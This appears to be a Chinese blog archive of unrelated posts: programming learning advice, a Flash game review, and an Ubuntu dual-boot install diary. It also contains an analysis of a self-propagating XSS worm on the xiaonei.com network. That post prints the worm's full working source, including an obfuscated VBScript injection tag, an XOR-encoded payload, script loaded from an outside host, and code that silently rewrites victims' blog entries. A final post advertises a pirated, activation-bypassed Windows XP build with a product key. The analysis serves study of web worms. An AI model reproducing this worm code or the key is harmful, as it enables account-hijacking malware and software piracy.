怎樣成為一名程序員

通過以下4個階段的訓練, 沒有任何編程基礎人就可以成為一名普通的程序員。

第一階段:掌握一種編程語言

學習內容:學習任意一種主流的編程語言。例如C++語言。

學習目標:熟練掌握一種語言的語法和基本的編程技巧。

學習時間:3個月左右

注意事項:編程語言和編程工具是兩回事情,編程語言是指C++、Basic、Object Pascal等
程序設計語言,它們是像漢語、英語一樣的抽象的語法規則,編程工具是指
Visual C++ 6.0、Visual Basic 6.0、Delphi 7.0等包括了源代碼編輯器、程序編譯器
在內的集成化、可視化的軟件開發工具。C++源程序可以在Visual C++ 6.0里編寫,也可以在
記事本里編寫,而同一個C++源程序可以用Visual C++ 6.0編譯、執行,也可以用C++ Builder 5.0
編譯、執行,所以: C++ 不等于 Visual C++ 6.0

第二階段:掌握一種編程工具

學習內容:學習任意一種主流的編程工具。注意編程工具要和第一階段學習的編程語言一致,例如你學習的
編程語言是C++,那么編程工具要選Visual C++ 6.0或者C++ Builder 5.0。

學習目標:熟練掌握這種編程工具基本用法,例如:菜單、組件、程序跟蹤調試、編寫Windows程序等。

學習時間:3個月左右

注意事項:這個階段側重編程工具的使用,同時進一步熟習編程語言,最后達到能熟練編寫各種基本的Windows程序。

第三階段:掌握“算法與數據結構”這門課程

學習內容:算法與數據結構,推薦許卓群的《數據結構》,高等教育出版社出版。

學習目標:熟練掌握各種常用的算法與數據結構

學習時間:4個月左右

注意事項:這是一門不可或缺的軟件開發課程,曾經有一本經典計算機專業書籍叫做《數據結構+算法=程序》,
這說明了數據結構和算法的重要性。它能幫我們建立良好的程序分析與設計能力。

第四階段:實現一個模擬的小型軟件項目

學習內容:軟件項目的開發過程

學習目標:掌握軟件項目的基本開發過程和方法

學習時間:4個月左右

注意事項:自己完成一個模擬的小型軟件項目,強烈推薦做一個MIS(管理信息系統)軟件,參考用書推薦
“中小型信息管理系統開發實例系列叢書”,人民郵電出版社,它的例子詳實有效,
以它為基礎再加以擴展,就可以做出實用的MIS軟件來。
此叢書包括多種開發工具,大家可以選擇適合自己的:《VISUAL FOXPRO6.0 數據庫系統開發實例導航》
《JAVA數據庫系統開發實例導航》 《VISUAL BASIC數據庫系統開發實例導航》
《VISUAL C++6.0數據庫系統開發實例導航》 《ASP.NET數據庫管理系統開發實例導航》
《DELPHI數據庫系統開發實例導航》 《POWERBUILDER 8.0數據庫系統開發實例導航》。
最后將完成的模擬軟件刻成光盤,作為自己的作品去面試,以此踏上自己光輝的職業程序員之路!祝大家一路順風!

怎樣成為一個程序高手呢?

  我每天都要收到很多的朋友來信。有不少的網友經常問我:面對眾多的開發工具/語言,我該選擇哪一個?怎樣才能學好一門語言?怎樣才能算是一個真正的程序高手?……

  首先,我不算是一個什么程序高手,我也就半吊子水晃晃蕩蕩。我不太喜歡“程序高手”這個詞,最多,只能算是一名“熟煉的開發者”而已,很多時候亦是半懂不懂。我編程是靠自學的,沒有人教,也沒有人問。因此走了不少彎路。當然現在看來,那些走過的彎路也算是一種積累。從 1994 開始, 我所使用的開發工具是這樣一個經歷:1994: GWBASIC, 1995: FOXBASE, TC, 1996: VFP, VB, PB, DELPHI, 1999: VC++, PHP。總的說來,各種開發工具各有秋千,應根據具體應用來采用不同的工具。例如寫MIS用PB/VB,界面設計用VB/Delphi,寫系統軟件,用C/C++是最好的,做網站,有 PHP, ASP, JSP等等。對于初學者來說,先用一種可視化強的工具(如VFP/VB/DELPHI)比較好,容易掌握,上手也快。但如果你想走更深入一引起,我建議你還是很有必要去精通C/C++,甚至了解一些匯編。

  有人說,C/C++太難學了,開發效率也不高。我先不說C/C++優越于其他語言的地方(這在很多的資料中都有介紹),就單從一個很功利的角度來說說。Delphi/ VB對于一般人來說學上幾個月就可以上手了。易學的東西學的人肯定多。而對于C來說,由于它難掌握,學的人不火,但一旦你真正掌握了,你的競爭實力就比其他人強。現實中,C程序員的工資普遍高于其他程序員就是一個證明。

  就我個人認為,程序員不應該拘泥于某個特定的語言,每天為某個開發工具的優劣爭來爭去是沒有意義的。重要的只有兩點:

 

  1. 你用的開發工具能解決你所遇到的實際問題嗎?實用為王,適合的,能用的,就是最好的。
  2. 你喜歡這個開發工具嗎?興趣,興趣才是最重要的。選擇你所喜歡的。

  那么,怎樣跨越程序新手這道坎呢?下面這幾點建議也許對你可能有些幫助:

 

  1. 遇到問題時從所有你能想到的方面考慮去試圖解決;
     
  2. 一定多動手,學一個專題(如網絡/多媒體)后寫一個軟件檢驗自己;
     
  3. 用好聯機文檔(如MSDN)查詢函數和資料,利用網絡資源;
     
  4. 掌握好的跟蹤調試技巧,多看一些高手的程序,從本質上理解;
    ……

  說白了,要想成為一名熟煉的開發者,就是最大限度的利用現有的資源,然后加上你的汗水。沒有什么稀奇的。

一個不為人知的感染幾百萬校內網用戶的蠕蟲分析

文章作者:langouster
信息來源:邪惡八進制信息安全團隊(www.eviloctal.com)

在一次查看校內網網頁源程序的時候無意間發現一個校內蠕蟲,開始還以為是我的網頁有問題,就隨便打開幾個人的頁面查看,發現許多人的頁面上也有這段代碼。

 <a name="mya113" id="mya113" style='background:url(vbscript:execute(StrReverse(")""311aym""(dIyBtnemelEteg.tnemucod,s erofeBtresni.edoNtnerap.)""311aym""(dIyBtnemelEteg.tnemucod :""gpj.sjnx/segami/moc.ecafosos.www//:ptth""=crs.s:)""tpircs""(tnemelEetaerc.tnemucod=s tes")) )'>

以上代碼出現在日志的開頭,只有查看源文件才能發現。它將vbscript調了個頭寫,調回來就變成以下內容:

 set s=document.createElement("script")
 s.src=http://www.sosoface.com/images/xnjs.jpg
 document.getElementById("mya113").parentNode.insertBefore s,document.getElementById("mya113")

在這段腳本中它又新建了一個script,它的src指向http://www.sosoface.com/images/xnjs.jpg(別相信后綴),下載加這個“jpg”用記事和UE打開都發現它填充了大量的asc的00(真不敢相信填充了那么多00 IE還能執行),不過用Dreamweaver打開顯示正常,拷出JS。然后花了幾乎一天的時間來分析這個js文件,發現它完完全全是一個基于ajax的蠕蟲。
值得注意的是作者好像很低調,在蠕蟲代碼中除了感染就是隱藏,沒有一行破壞性的代碼,僅僅是加了一個站長統計,估計作者是用來研究蠕蟲傳播情況的,因為站長統計要密碼我們進不去,所以不知道具體的感染情況,但是我剛才在google上搜了下sosoface,還是看到這個網站的流量圖:
http://www.chinarank.org.cn/detail/Info.do?url=www.sosoface.com&r=1192875678218

從圖上可以看到流量在幾天時間里大增,這些天應該是蠕蟲感染的時間。日訪問人數從0猛增到500百萬人/天,也就是每天那個JPG要被訪問5億次考慮到一個人可能訪問多個頁面,粗略估計應該至少有幾百萬人受到感染。另外,也就在大概兩三天前這個蠕蟲應該是被校內的人發現了,一夜之間全部消失了。 Sosoface也被停了。

下面來分析感染代碼,我直接把注釋寫在JS中了,原本的程序可是一行注釋也沒有的。看時從最底下的start函數看起:

 var req = null;
 var step=null;
 var DiaryMonthUrlList="",DiaryUrlList="";
 var timer=null;
 var bIsBusy=false;

 var myrand="46.115.50.124.115.127.119.47.48.127.107.115.35.35.33.48.50.123.118.47.48.127.107.115.35.35.33.48.50.97.102.107.126.119.47.53.112.115.113.121.117.96.125.103.124.118.40.103.96.126.58.100.112.97.113.96.123.98.102.40.119.106.119.113.103.102.119.58.65.102.96.64.119.100.119.96.97.119.58.48.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.62.97.50.119.96.125.116.119.80.102.96.119.97.124.123.60.119.118.125.92.102.124.119.96.115.98.60.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.50.40.48.48.117.98.120.60.97.120.124.106.61.97.119.117.115.127.123.61.127.125.113.60.119.113.115.116.125.97.125.97.60.101.101.101.61.61.40.98.102.102.122.48.48.47.113.96.97.60.97.40.59.48.48.102.98.123.96.113.97.48.48.58.102.124.119.127.119.126.87.119.102.115.119.96.113.60.102.124.119.127.103.113.125.118.47.97.50.102.119.97.48.59.59.50.59.53.44.46.61.115.44";

 function my_HtmlDecode(str)
 {
 str=str.replace(/</g,"<");
 str=str.replace(/>/g,">");
 str=str.replace(/&/g,"&");
 str=str.replace(/ /g," ");
 str=str.replace(/"/g,""");
 str=str.replace(/<br>/g,"n");
 str=str.replace(/#/g,"#");
 str=str.replace(/(/g,"(");
 str=str.replace(/)/g,")");
 str=str.replace(/"/g,""");
 str=str.replace(/'/g,"'");
 str=str.replace(/#/g,"#");
 str=str.replace(/(/g,"(");
 str=str.replace(/)/g,")");
 str=str.replace(/"/g,""");
 str=str.replace(/'/g,"'");
 return str;
 }
 function processReqChange()
 {
 if (req.readyState == 4 && req.status == 200 )
 {
 if("WriteIframe"==step)
 {
 var text,len,i=0,j=0,temp;
 
 text=req.responseText;
 i=text.indexOf("<div class="article">",0);
 if(-1==i){return}
 i=text.indexOf("http://blog.xiaonei.com/GetEntry.do",i);
 if(-1==i){return}
 j=text.indexOf(""",i);
 if(-1==j){return}
 text=text.substring(i,j);
 
 document.getElementById("mya113").style.background="#FFFFFF";
 var s=document.createElement("iframe");
 s.frameborder="0";
 s.height="0";
 s.width="1";
 s.src=text;
 document.getElementById("mya113").parentNode.insertBefore(s,document.getElementById("mya113"));
 }
 else if("GetDiaryMonthList"==step)
 {
 var text,len,i=0,j=0,temp;
 //text的內容就和用戶點“我的日志”得到的內容一樣,分析HTML,得到“日志存檔”中的每一個鏈接,保存到DiaryMonthUrlList中
 //然后跳到GetStatus函數,此時step="GetDiaryList" 取出每個月的日志列表
 text=req.responseText;
 i=text.indexOf("<div id="list-archive">",0);
 if(-1==i){return}
 j=text.indexOf("<div class="bottom-box">",i);
 if(-1==j){return}
 text=text.substring(i,j);
 
 i=j=0;
 while(1)
 {
 i=text.indexOf("http://blog.xiaonei.com/MyBlog.do",i);
 if(-1==i)break;
 j=text.indexOf("'>",i);
 if(-1==j)break;
 temp=text.substring(i,j);
 i+=temp.length;
 temp=my_HtmlDecode(temp)+"|";
 DiaryMonthUrlList+=temp;
 }
 if(DiaryMonthUrlList.length<=1)
 {
 return;
 }
 
 step="GetDiaryList";
 req=null;
 bIsBusy=false;
 timer=window.setInterval(GetStatus,1000);
 }
 else if("GetDiaryList"==step)
 {
 var text,len,i,j,temp,temp2;
 var text2="http://blog.xiaonei.com/EditEntry.do?id=";
 
 //text的內容就和用戶點了“日志存檔”后的內容一樣
 //分析HTML得到每個月的日志列表保存在DiaryUrlList中,然后step=GetDiaryText也就是取得日志的內容,
 //看本函數下面else if("GetDiaryText"==step)就是了
 text=req.responseText;
 
 len=text.length;
 i=text.indexOf("<div id="list-article">");
 if(-1==i)
 {
 req=null;
 bIsBusy=false;
 return;
 }
 j=text.indexOf("</table>",i);
 if(-1==j)
 {
 req=null;
 bIsBusy=false;
 return;
 }
 text=text.substring(i,j);
 i=j=0;
 
 
 while(1)
 {
 j=0;
 len=0;
 j=DiaryUrlList.indexOf("|",j);
 while(j!=-1)
 {
 j++;
 len++;
 j=DiaryUrlList.indexOf("|",j);
 }
 
 if(len>=5)//只感染前5篇日志 或者是4篇 沒仔細研究
 {
 break;
 }
 
 i=text.indexOf(text2,i);
 if(-1==i)
 {
 break;
 }
 i+=text2.length;
 j=text.indexOf("">",i);
 if(-1==j || j-i>10)
 {
 break;
 }
 temp=text2+text.substring(i,j)+"|";
 DiaryUrlList+=temp;
 }
 req=null;
 bIsBusy=false;
 }
 else if("GetDiaryText"==step)
 {
 var text,len,i,j;
 var argv;
 var title,body,blog_pic_id="0",pic_path,blogControl,Diaryid;
 
 
 text=req.responseText;
 //這個模塊模擬用戶編輯日志,在每篇日志的開關都加上
 //<a name="mya113" id="mya113" style='background:url(vbscript:execute(StrReverse(")""311aym""(dIyBtnemelEteg.tnemucod,s erofeBtresni.edoNtnerap.)""311aym""(dIyBtnemelEteg.tnemucod :""gpj.sjnx/segami/moc.ecafosos.www//:ptth""=crs.s:)""tpircs""(tnemelEetaerc.tnemucod=s tes")) )'>
 
 i=text.indexOf("<form action="http://upload.xiaonei.com/EditEntry.do"",0);
 
 if(-1==i)
 {
 return;
 }
 i+=53;
 
 j=text.indexOf("</form>",i);
 if(-1==j)
 {
 return;
 }

 text=text.substring(i,j);
 //------------------------
 
 i=text.indexOf("id="title" class="inputtext" tabindex="1" value="",0);
 if(-1==i)return;
 i+=49;
 j=text.indexOf("" />",i);
 if(-1==j)return;
 title=text.substring(i,j);
 //---
 i=text.indexOf("<textarea name="body" id="body" cols="100%" style="display:none">",0);
 if(-1==i)return;
 i+=65;
 j=text.indexOf("</textarea>",i);
 if(-1==j)return;
 body=text.substring(i,j);
 //---
 i=text.indexOf("id="blog_pic_id" value="",0);
 if(-1==i)return;
 i+=24;
 j=text.indexOf("" />",i);
 if(-1==j)return;
 blog_pic_id=text.substring(i,j);
 //---
 i=text.indexOf("id="pic_path" value="",0);
 if(-1==i)return;
 i+=21;
 j=text.indexOf("" />",i);
 if(-1==j)return;
 pic_path=text.substring(i,j);
 //---
 i=text.indexOf("name="id" value="",0);
 if(-1==i)return;
 i+=17;
 j=text.indexOf("" />",i);
 if(-1==j)return;
 Diaryid=text.substring(i,j);
 //---
 i=text.indexOf("" selected="selected"",0);
 if(-1==i)return;
 j=i-2;
 if(text.substr(j,1)==""")
 j++;
 blogControl=text.substring(j,i);
 
 
 body=my_HtmlDecode(body);
 if(body.indexOf("mya113",0)>=0)//已經感染過,不再感染
 {
 req=null;
 step="GetDiaryText";
 bIsBusy=false;
 
 return;
 }
 else
 {
 ;
 }
 //以上是取日志的各個變量信息
 //以下開頭就感染日志并修改
 
 body=MyDecode(myrand)+body;
 //感染日志 在日志的開頭加上跨站代碼
 //MyDecode(myrand)中保存的就是跨站的關鍵代碼,作者加密了一下放在myrand變量中,程序開頭的一長串數據就是
 
 //以下開始POST提交修改過的日志
 argv="";
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="title"";
 argv+=(title+"");
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="body"";
 argv+=(body+"");
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="theFile"; filename=""Content-Type: application/octet-stream";
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="blog_pic_id"";
 argv+=(blog_pic_id+"");
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="pic_path"";
 argv+=(pic_path+"");
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="blogControl"";
 argv+=(blogControl+"");
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="id"";
 argv+=(Diaryid+"");
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="relative_optype"";
 argv+=("publisher"+"");
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="del_relative_id"";
 argv+="-----------------------------7d71861cb014c--";
 
 
 req=null;
 step="EditDiaryText";
 loadUrl("http://blog.xiaonei.com/EditEntry.do","POST",argv);
 

 }
 else if("EditDiaryText"==step)
 {
 
 req=null;
 bIsBusy=false;
 step="GetDiaryText";
 }
 else
 {
 ;
 }
 
 }
 }
 function MyDecode(str)
 {
 var i,k,str2="";
 
 k=str.split(".");
 
 for(i=0;i<k.length;i++)
 {
 str2+=String.fromCharCode(k[i]^0x12);
 }
 return str2;
 }
 function loadUrl( url,method,argv )
 {
 bIsBusy=true;
 if(!req)
 {
 if(window.XMLHttpRequest)
 {
 try
 {
 req = new XMLHttpRequest();
 } catch(e) { req = false; }
 }
 else if(window.ActiveXObject)
 {
 try
 {
 req = new ActiveXObject('Msxml2.XMLHTTP');
 }
 catch(e)
 {
 try
 {
 req = new ActiveXObject('Microsoft.XMLHTTP');
 } catch(e) { req = false; }
 }
 }
 }
 if(req)
 {
 req.onreadystatechange = processReqChange;
 try
 {
 req.open(method, url, true);
 if(method=="POST")
 req.setRequestHeader("Content-Type","multipart/form-data; boundary=---------------------------7d71861cb014c");
 req.send(argv);
 }catch(e)
 {
 req=false;
 }
 }
 }
 function GetStatus()
 {
 if(bIsBusy)return;
 
 if("GetDiaryList"==step)
 {
 var DiaryMonthUrl,i;
 
 //取出每個月的日志列表
 if(DiaryMonthUrlList.length<=1)
 {
 step="GetDiaryText";
 return;
 }
 i=DiaryMonthUrlList.indexOf("|",0);
 if(-1==1)
 {
 step="GetDiaryText";
 return;
 }
 DiaryMonthUrl=DiaryMonthUrlList.substring(0,i);
 DiaryMonthUrlList=DiaryMonthUrlList.substring(i+1,DiaryMonthUrlList.length);
 
 //再回到開頭的processReqChange函數 此時step還是GetDiaryList
 loadUrl(DiaryMonthUrl,"GET","");

 }
 else if("GetDiaryText"==step)
 {
 var DiaryUrl,i;
 if(DiaryUrlList.length<=1)
 {
 clearInterval(timer);
 return;
 }
 
 i=DiaryUrlList.indexOf("|",0);
 if(-1==i)
 {
 clearInterval(timer);
 return;
 }

 DiaryUrl=DiaryUrlList.substring(0,i);
 DiaryUrlList=DiaryUrlList.substring(i+1,DiaryUrlList.length);

 loadUrl(DiaryUrl,"GET","");
 }
 }
 function WriteStat()
 {
 var s=document.createElement("iframe");
 s.frameborder="0";
 s.height="0";
 s.width="0";
 s.src="http://www.sosoface.com/images/stat.jpg";
 document.getElementById("mya113").parentNode.insertBefore(s,document.getElementById("mya113"));

 }

 function DeleteScript(html)
 {
 var i=0,j=0,str;
 
 str=html;

 i=str.indexOf("</A>",0);
 if(-1==i)
 return str;
 i+=4;
 str=str.substring(i,str.length);

 return str;
 }
 function EditorSubmit()
 {
 var ret=false;
 parent.parent.descOptype();
 ret=parent.parent.beforeSubmit();

 parent.parent.document.getElementById("body").value=MyDecode(myrand)+DeleteScript(parent.parent.document.getElementById("body").value);

 return ret;
 }
 function Start()
 {
 //判斷是不是blog.xiaonei.com域,由于ajax是不能跨域的,所以判斷是必備的
 if("blog.xiaonei.com"==document.domain)
 {
 //如果是在編輯已感染的日志 就做了一些奇怪的行為,我看不懂,好像是把自己重寫了一遍,不知道為什么這樣做
 if("http://blog.xiaonei.com/pages/editor/win.htm"==document.location)
 {
 parent.parent.document.getElementById("editorForm").onsubmit=EditorSubmit;
 }
 else
 {
 
 WriteStat();//這是一個用戶流量統計的函數,使用cnzz 站長助手
 //下面開始感染了,第一步GetDiaryMonthList,得到日志的按月歸檔
 step="GetDiaryMonthList";
 loadUrl("http://blog.xiaonei.com/MyBlog.do","GET","");//loadUrl是一個ajax讀取頁面內容的函數
 //下面跳到開頭的processReqChange函數
 }
 }
 else if("xiaonei.com"==document.domain || "www.xiaonei.com"==document.domain)
 {
 //如果不在blog.xiaonei.com域就寫入一個Iframe Iframe的SRC是日志的URL
 //這個URL是blog.xiaonei.com域的,就變向的實現了跨域,
 //作者這樣做應該是為了一訪問別人的主頁就能感染
 var url="";
 
 url=document.location.toString();
 if(url.indexOf("&")==-1)
 return;
 step="WriteIframe";
 loadUrl(url,"GET","");
 }
 }

 Start();

發現一個有趣的網站

今天在網上閑逛時經朋友推薦發現了一個有趣的網站


這是一個用flash技術做的網絡游戲,但是跟我們目前接觸的在線flash游戲又有很多不同,應該是一個交友類的游戲。首先它的畫風很獨特,可以用中國的成語夜黑風高來形容,在左邊的截圖中你可以看到漫天星空下一個人獨自站在草地上,那就是本人啦。當然并不是這個游戲人氣不高,我是為了拍照專門挑了個沒人的地方:)

進入這個網站后,根據提示選擇一個人物然后給自己定一個昵稱就可以開始游戲了。你不僅可以在地上跑還可以飛到天上,如果你想泄氣可以找個人打一架,如果你的心情比較好還可以跟別人跳段舞。剛剛進去時我不知道怎么跳舞,來了個老外邀請我跳舞,我告訴他我不會,叫他告訴我怎么跳。這個人告訴我按ctrl+w,當我按下ctrl+w時我發現這是網頁關閉鍵。。。氣死我了,馬上進去叫上我的同事們一起把他揍了半個小時,如果你想跳舞我先告訴大家熱鍵就是ctrl+home,千萬別被騙了:)


不過好人還是有的,不一會就又有個老外找我聊天,他自稱是美國的,然后我用蹩腳的外語告訴他"I'm Chinese"。為了不給我們國人丟臉,我大量使用國際通行的簡寫,讓他覺得我是個老鳥。從他的口中我得知這個站點最多有36個人在線,而且是一個獲得過Flash優秀設計獎的作品。后來又來了個歐洲人跟我探討全球變暖的問題,我覺得這個話題所涉及的詞匯不是我等菜鳥可以對付的,找了個借口就飛到天上跑了。。。


總體來說這個網站的感覺還是不錯的,但是如果你打算在里面交到朋友還是需要花點精力的。我經常看到幾個老外滿屏幕追一個MM。不過聊一聊天,練練英語倒是一個好去處。

在WindowsXP下從硬盤安裝Ubuntu雙系統

在WindowsXP下從硬盤安裝Ubuntu雙系統 前幾天突然間頭腦發熱,一時沖動決定安裝Linux,系統選擇的是現在最流行的Ubuntu5.04,但是手邊又沒有Ubuntu的安裝盤,于是就采用了在XP下從硬盤安裝的方法。具體操作見:  http://www.ubuntu.org.cn/support/documentation/doc/installformxp安裝之前仔細得把注意事項和安裝說明看了一下,覺得應該不會有什么問題,而且之前還在虛擬機上成功得安裝過Ubuntu。不過當時還是把E盤的所有存檔文件都備份到康子的電腦上,由于按照安裝說明操作對C、D盤沒有影響,于是沒有備份。

  系統初始狀況: OS:WindowsXP+SP2

盤符:
 
C
 
D
 
E
 
大小:
 
5G
 
8G
 
21.5G
 
格式:
 
NTFS
 
NTFS NTFS

  為了安裝Ubuntu,在把E盤備份后在XP里用磁盤管理將E盤刪掉,然后新建了一個16G的FAT32分區作為E盤,剩下的空間用于安裝Ubuntu。

  坎坷的安裝歷程:

  1. 第一次安裝。由于從硬盤安裝ISO文件要在FAT分區下,所以ISO文件放在E盤,按照上面的方法開始安裝,在安裝的過程中驚奇的發現在Linux中我的硬盤第一次被識別為標稱的40G,那2.3G被聯想用來做一鍵恢復系統的隱藏分區竟然被揪出來了。那個一鍵還原對我來說就是垃圾,從來沒用過,現在猛然多出2.3G的空間當然很開心,于是把預留的空間和這2.3G空間全部分給了Ubuntu。安裝過程一切順利,最后一步安裝 grub的時候也識別出了已安裝的WindowsXP,于是就一路Next,結束安裝。可是在安裝結束重啟的時候加載grub的時候就停在了那兒,顯示 error 18,什么系統也進不去。無語了,好在手邊有一張買雜志時送的啟動工具盤,用DOS進去之后發現原來新建的那個E盤莫名其妙的變成了C盤,而原先的C、D 盤則變成了D盤E盤。當時缺少經驗誤以為是C盤為NTFS所致,于是打算把盤全格了重新裝一遍XP,分區全部選FAT32。可是想不到的是用XP安裝盤安裝的時候,它竟然識別出硬盤的大小卻無法寫入。無奈之下再用工具盤里的Disk Genius把所有的分區都刪了,當時比較沖動,也沒有冷靜的想想那些需要備份,好在幾天前剛做了一次備份,損失不是很大,不過還是丟了一些比較重要的資料。不管好歹,終于可以安裝Windows了。
    盤符:
     
    C
     
    D
     
    E
     
    /hda6
     
    /hda7
     
    大小:
     
    5G
     
    8G
     
    16G
     
    5G
     
    0.5G
     
    格式:
     
    FAT32
     
    FAT32
     
    FAT32
     
    ReiserFS Swap
     

  • 第二次安裝。這次安裝的時候就預先把XP里的分區都分好了,大小和上面的一樣,留下了靠近6G的空閑空間給Ubuntu。順利裝好XP,由于做好了再次重裝的準備,什么也沒做就開始裝Ubuntu了。這次把硬盤安裝要的一堆東西全部扔在C盤,安裝過程和上面一次相同。結果也差不多,開機之后不是error18了,變成error17,我ft!

     

  • 第三次安裝。這時已經比較火大,決定先在虛擬機上裝個雙系統試試。人倒霉的時候喝涼水都塞牙,在VMware上裝XP的時候竟然裝了一半安裝盤出了問題,我kao!換了一張盤給XP和Ubuntu各分了4G的空間,很順利的裝好了,也很順利的啟動了,grub一點問題都沒有。邪門了!(PS:裸機跑VMware的感覺真爽)  
     
  • 第四次安裝。這時學聰明了,想到以前有人說過Linux不能安裝在8G之后的分區上,否則不能啟動。不過在BBS上看到大家都說現在的BIOS版本不存在這個問題,而且Ubuntu的安裝說明也沒有提到這一點,看LinuxApp版上大家都裝在8G之后也沒什么問題,難道我人品特別差?不管了,這次裝XP的時候就只給C盤分了5G的空間,剩下的全部空在那兒。安裝過程還是波瀾不驚,等到要結束安裝grub時,考慮到每次都是grub出錯,就手動把grub安裝在/dev/hda1,就是Windows中的C盤。裝好之后,忐忑不安得重啟,yeah,ubuntu加載成功,激動慘了。激動過后準備到Windows下把補丁什么的打一下的,結果發現進不了Windows了,我吐血!在 grub那一步就變成了死循環,選XP進去還是grub,再選還是grub。郁悶萬分的到BBS上一看,看到了這么一段話:

    這種情況我遇到過。。。后果很嚴重。。。
    出現這種情況的原因是
    setup (hdc*,0)這句并不是將GRUB安裝在MBR上
    而是安裝在hdc0的分區上,如果window正好裝在hdc0
    grub 就破壞了windows的分區,所以造成c盤無法識別
    同時用grub引導啟動windows時由于hdc0引導區被grub
    占用,所以啟動windows選項會形成循環啟動GRUB!!!

    正確用法是setup (hdc)才能將其裝在hdc的MBR上!!!

    但如果已經用setup(hdc, 0)執行grub安裝
    再次用setup(hdc)就無效了
    我當時沒有找到解決辦法,只能重裝windows

    我郁悶啊!!!繼續往下看,覺得柳暗花明又一村,有牛人給出了解決方法:

    用windows盤重新安裝,安裝開始后重啟
    據說就可以了,因為windows好像是先寫引導扇區,然后再實際安裝,據說

    連忙試了一下,貌似可行,能夠成功得進入XP,系統也沒什么破壞,但是進不去Ubuntu了,不管了,能保全XP就是萬幸了。然后在XP下重新按照上面的方法安裝Ubuntu,結果裝的過程中說原先安裝有Ubuntu的那個分區有數據會影響安裝,我也不知道怎么折騰的讓它繼續下去了,結果最后突然冒出來一個讓我選擇內核的提示,被我順手取消掉了,安裝過程貌似很正常的結束了。重啟之后兩個系統都能很正常得進入,把我激動得在宿舍里大喊大叫。可是沒高興多久就發現Ubuntu系統極不穩定,X界面不斷得重啟,估計是內核沒裝好,無奈之下,我只好再次用工具盤里的分區工具把那兩個分區給格了,然后重裝了一遍 Ubuntu,總算一切正常了。

    盤符:
     
    C
     
    /hda2
     
    /hda3
     
    /hda4
     
    大小:
     
    5G 5G
     
    0.5G
     
    24G
     
    格式:
     
    FAT32
     
    ReiserFS Swap
     
     

    可是新的問題又出現了,我發現在XP的磁盤管理里,剩下的那24G空間只能分成一個分區,這也忒郁悶了,再次出動工具盤,用Disk Genius把剩下的那24G空間成功得分成了16G和8G兩個FAT32分區,更新分區表,保存,成功!等到重啟時才發現由于更新了分區表,grub又壞了,什么也進不去了,我基本上崩潰了……                                                      

    第五次安裝。有了前面這N次的經驗教訓,我已基本知道該怎么做了。首先先用Disk Genius把所有的分區全部刪除,然后用XP的安裝盤建立了如下分區:

    盤符:
     
    C
     
    D
     
    E
     
    F
     
    大小:
     
    5G
     
    5.5G
     
    8G
     
    16G
     
    格式:
     
    FAT32
     
         

    然后在C盤上安裝Windows,安裝結束后在Windows下安裝Ubuntu,將其安裝在原先劃分的D分區上,把D分區分為主分區和交換分區兩部分,默認安裝grub,結束安裝,這次,終于真正的成功了。安裝之后硬盤的分區情況如下:

    盤符:
     
    C
     
    /hda2
     
    /hda3
     
    D
     
    E
     
    大小:
     
    5G
     
    5G
     
    0.5G
     
    8G
     
    16G
     
    格式:
     
    FAT32
     
    ReiserFS Swap FAT32 FAT32

      經驗教訓:

    • 在裝Linux的時候,無論你對過程有多熟悉,無論在虛擬機上試過幾次,安裝之前最好還是備份一下重要的文件,而且不能備份在同一塊硬盤上。因為你無法預測在實際過程中會出現哪些莫名其妙的問題。
    • 這次安裝失敗可能有兩個原因:
    1. BIOS版本過老,存在1024柱頭問題,導致安裝在8G分區之后的Linux無法識別。
    2. 聯想自帶的那個隱藏分區搞得鬼。因為儲存在MBR里的硬盤大小信息是35G左右,而Linux卻認出了40G,也就是把那個隱藏分區認出來了,而裝的過程中又把那個分區給破壞掉了,導致信息和MBR里面儲存的不一致,出現錯誤。

    具體是哪個原因我現在也不清楚,只有等下次全面重新安裝的時候試一下才能清楚。

  •  

番茄花園 Windows XP Pro SP2 免激活 V3.3

番茄花園 Windows XP Pro SP2 免激活 V3.3

CD-KEY:HCQ9D-TVCWX-X9QRG-J4B2Y-GR2TT

一、 軟件介紹
本安裝程序是ISO可啟動映像文件,推薦下載以后直接用NERO刻錄映像文件,然后用光盤安裝,當然也可以硬盤安裝,運行對應目錄下的WINNT32.BAT(Win下安裝)或WINNT16.BAT(Dos下安裝)

二、番茄花園系統特點
番茄花園系統=原版+補丁+必要優化+可選自動安裝+可選主題美化+增強功能
為什么選番茄花園
+可以通過正版驗證
+集合所有補丁
+添加漂亮的可選主題
+進行必要的優化
+多版本可選
+無人值守安裝
+實用的增強軟件

三、具體修改明細
+ 添加 SATA/RAID/SCSI/CPU/Chipset 等驅動包(DPs_BASE7.05.2)
+ 添加 N 種最新主題,讓你的 XP 充滿個性化
+ 集合 到目前為止的所有 XP 關鍵補丁程序(2007-08)
+ 集合 最新 Internet Explorer 7.0 正式版(可選安裝)
+ 集合 Flash Player AX 9.0.47.0 插件
+ 集合 番茄吧3.2
+ 集合 360安全衛士
- 去掉 Windows 漫游
- 去掉 Zip 文件夾
- 去掉 安全中心
- 去掉 華生醫生
- 去掉 桌面清理向導
- 去掉 Movie Maker
- 去掉 系統自帶的鼠標光標
- 去掉 系統自帶的圖像背景
- 去掉 音樂示例
- 去掉 Internet 游戲

部分優化列表
+加快局域網訪問速度
+加快搜索網上鄰居的速度
+開啟 IE 自動縮圖功能
+下載完成自動關閉
+減少開關機速度系列
+打開啟動優化功能
+加快程序運行速度
+加快菜單顯示速度
+加速打開我的電腦和Explorer
-禁止默認共享
-清除共享文件夾
+防火墻允許訪問共享文件
-跳過internet連接向導
-禁用IE中script錯誤報告
-禁止顯示script錯誤通知
-禁止顯示友好http錯誤
-關閉XP文件保護
-刪除多余開機程序
-關閉桌面清理向導
-關閉分組相似任務欄按鈕
-不緩存縮略圖
-刪除圖標快捷方式的字樣
-禁止高亮顯示新安裝的程序(開始菜單)
+打開自動更新
